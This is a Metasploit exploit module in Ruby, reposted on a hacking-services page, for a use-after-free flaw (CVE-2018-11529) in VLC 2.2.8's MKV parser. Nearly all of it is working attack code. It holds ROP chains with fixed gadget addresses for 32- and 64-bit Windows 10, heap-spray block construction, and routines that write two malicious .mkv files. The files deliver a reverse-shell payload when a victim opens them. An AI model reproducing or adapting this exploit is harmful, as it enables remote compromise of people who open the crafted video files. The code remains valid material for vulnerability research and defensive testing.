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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VLC Media Player MKV Use After Free',
      'Description'    => %q(
          This module exploits a use after free vulnerability in
        VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
        MKV files and affects both 32 bits and 64 bits.

          In order to exploit this, this module will generate two files:
        The first .mkv file contains the main vulnerability and heap spray,
        the second .mkv file is required in order to take the vulnerable code
        path and should be placed under the same directory as the .mkv file.

          This module has been tested against VLC v2.2.8. Tested with payloads
        windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
        windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
        cause the application to crash instead.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [
        'Eugene Ng - GovTech',      # Vulnerability Discovery, Exploit
        'Winston Ho - GovTech',     # Metasploit Module
      ],
      'References'     =>
        [
          ['CVE', '2018-11529'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
          ['EDB', '44979']
        ],
      'Payload'        =>
        {
          'Space'          => 0x300,
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        => [
        [
          'VLC 2.2.8 on Windows 10 x86',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X86],
            'Ret' => 0x22000020,
            'ExitPointer' => 0x00411364,
            'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
            'RopChain' => [
              0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x00000040,             # 0x00000040-> edx
              0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x41414141,             # Filler (compensate)
              0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
              0x22000030,             # Filler (compensate) for rol [eax] below
              0x41414141,             # Filler (compensate)
              0x004039c8,             # POP ECX # RETN [vlc.exe]
              0x0041193d,             # &Writable location [vlc.exe]
              0x00409d18,             # POP EBX # RETN [vlc.exe]
              0x00000201,             # 0x00000201-> ebx
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x0040a623,             # POP EBP # RETN [vlc.exe]
              0x004036CB,             # POP ESI # RETN [vlc.exe]
              0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
              0x00407086,             # POP EDI # RETN [vlc.exe]
              0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
              0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
              0x22000020 + 0x5e0,     # Shellcode
            ]
          }
        ],
        [
          'VLC 2.2.8 on Windows 10 x64',
          {
            'Platform' => 'win',
            'Arch' => [ARCH_X64],
            'Ret' => 0x40000040,
            'ExitPointer' => 0x00412680,
            'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
            'RopChain' => [
              0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
              0x00403b60,             # POP RCX # RET
              0x40000040,             # lpAddress
              0x004011c2,             # POP RDX # RET
              0x00001000,             # dwSize
              0x0040ab70,             # JMP VirtualProtect
              0x40000040 + 0x700,     # Payload
            ]
          }
        ]
      ],
      'Privileged'     => false,
      'DisclosureDate' => 'May 24 2018',
      'DefaultTarget'  => 1))

    register_options [
      OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
      OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
    ]

    deregister_options('FILENAME')
  end

  def to_bytes(num, length, endianess = 'big')
    h = format('%<num>x', num: num)
    s = ('0' * (h.length % 2) + h).rjust(length * 2)
    s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
    endianess == 'big' ?  s : s.reverse
  end

  def data_size(number, numbytes = (1...9))
    # encode 'number' as an EBML variable-size integer.
    numbytes = [numbytes] if numbytes.is_a?(Integer)
    numbytes.each do |size|
      bits = size * 7
      return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
    end
    fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
  end

  def build_data(size)
    block_size = 0x1000

    if target.arch.first == ARCH_X64
      target_address_packed = [target.ret].pack("<Q")
      rop_chain = target['RopChain'].map { |qword| [qword].pack("<Q") }.join

      if size == 0x180
        uaf_object = "\x41" * size
        uaf_object[0x30, 8] = target_address_packed
        uaf_object[0x38, 8] = [target.ret + 0x10000].pack("<Q")
        uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
        uaf_object[0x170, 8] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = "\x41" * 4
        block[0x8, target_address_packed.length] = target_address_packed
        block[0x10, target_address_packed.length] = target_address_packed

        block[0x40, 8] = [0x1].pack("<Q")
        block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
        block[0xE4, 8] = [0x1].pack("<Q")

        block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
        block[0x3b8, rop_chain.length] = rop_chain

        block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
        block[0x700, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    elsif target.arch.first == ARCH_X86
      target_address_packed = [target.ret].pack("<I")
      rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join

      if size == 0x100
        uaf_object = "\x41" * size
        uaf_object[0x28, 4] = target_address_packed
        uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
        uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
        uaf_object[0xf8, 4] = target_address_packed
        return uaf_object
      else
        block = "\x00" * block_size
        block[0x0, 4] = [0x22000040].pack("<I")
        block[0x4, target_address_packed.length] = target_address_packed
        block[0x8, target_address_packed.length] = target_address_packed

        block[0x10, 4] = [0xc85].pack("<I")
        block[0x30, 4] = [0x1].pack("<I")
        block[0xc0, 4] = [0x1].pack("<I")

        block[0x194, 4] = [0x2200031c].pack("<I")
        block[0x2c0, 4] = [0x220002e4].pack("<I")
        block[0x2f4, 4] = [0x22000310].pack("<I")

        block[0x2f8, rop_chain.length] = rop_chain
        block[0x564, 4] = [0x22000588].pack("<I")
        block[0x5e0, payload.encoded.length] = payload.encoded

        block *= size / block.length + 1
      end
      return block[0, size]
    end
  end

  def generate_mkv
    # EBML Header
    doc_type = "\x42\x82" << data_size(8) << "matroska"
    ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type

    # Seek Entries
    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x15\x49\xa9\x66"                                         # KaxInfo
    seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2                   # SeekPosition + Index of Segment info
    seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry  # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x11\x4d\x9b\x74"                                         # KaxSeekHead
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of SeekHead
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    seek_entry = "\x53\xab" << data_size(4)                                  # SeekID
    seek_entry << "\x10\x43\xa7\x70"                                         # KaxChapters
    seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4                   # SeekPosition + Index of Chapters
    seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry

    # SeekHead
    seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries

    # Void
    void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element

    # Info
    segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
    info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid

    # Chapters
    chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
    chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
    edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
    chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry

    if target.arch.first == ARCH_X86
      size = 0x100
      count = 30
    elsif target.arch.first == ARCH_X64
      size = 0x180
      count = 60
    end

    # Attachments
    attached_files = ""
    mime = "\x46\x60" << data_size(24) << "application/octet-stream"
    data = build_data(size)
    data = "\x46\x5c" << data_size(data.length) << data
    500.times do
      uid = "\x46\xae" << data_size(8) << rand_text(8)
      file_name = "\x46\x6e" << data_size(8) << rand_text(8)
      header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)

      attached_files << header << file_name << mime << uid << data
    end
    attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files

    # Cluster
    pay_load = build_data(0xfff000)
    # Since the payload is simply repeated payload blocks appended to cluster then segment_data,
    # we return the simple_block and the count to process later instead.
    # This should result is overall lowered memory usage during payload generation
    simple_block = "\xa3" << data_size(pay_load.length) << pay_load
    simple_blocks_len = simple_block.length * count
    time_code = "\xe7" << data_size(1) << "\x00"
    cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code

    # Concatenate everything
    segment_data = seek_head << void << info << chapters << attachments << cluster
    segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
    mkv = ebml << segment

    return mkv, simple_block, count
  end

  def exploit
    mkv1, simple_block, count = generate_mkv
    mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)

    tmpname = rand_text_alpha_lower(3..8)
    f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
    f1 << '.mkv' unless f1.downcase.end_with?('.mkv')

    f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
    f2 << '.mkv' unless f2.downcase.end_with?('.mkv')

    file_format_filename(f1)
    file_create(mkv1)
    print_status("Created #{f1}. Target should open this file")

    file_format_filename(f2)
    file_create(mkv2)
    print_status("Created #{f2}. Put this file in the same directory as #{f1}")

    print_status("Appending blocks to #{f1}")
    path = File.join(Msf::Config.local_directory, f1)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'ab') do |fd|
      count.times { fd.write(simple_block) }
    end
    print_good("Succesfully appended blocks to #{f1}")
  end

  def file_format_filename(name = '')
    name.empty? ? @fname : @fname = name
  end
end